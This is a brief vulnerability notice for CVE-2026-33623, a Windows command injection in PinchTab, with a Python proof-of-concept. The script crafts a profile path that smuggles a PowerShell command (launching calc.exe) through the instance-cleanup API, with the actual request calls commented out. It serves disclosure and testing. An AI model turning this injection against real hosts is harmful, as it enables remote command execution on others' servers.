CVE-2026-33623 PinchTab Windows命令注入漏洞

# Proof of Concept for CVE-2026-33623 # Requires authenticated high-privilege API access import requests target_url = "http://vulnerable-host:port" # Malicious profile path containing PowerShell injection payload # The cleanup logic escapes backslashes but not other metacharacters. # Payload: `; calc.exe # malicious_profile = "C:\\Users\\victim\\profile`"; calc.exe #" # 1. Launch instance with crafted profile (Admin access required) create_data = {"profile_path": malicious_profile} # requests.post(f"{target_url}/api/instances/start", json=create_data) # 2. Trigger the cleanup path by stopping the instance # This causes the server to execute: powershell -Command ... "C:\Users\victim\profile`"; calc.exe #" ... # requests.post(f"{target_url}/api/instances/stop") print("[+] Triggering cleanup with malicious profile path.") print("[+] If vulnerable, calc.exe will execute on the host.")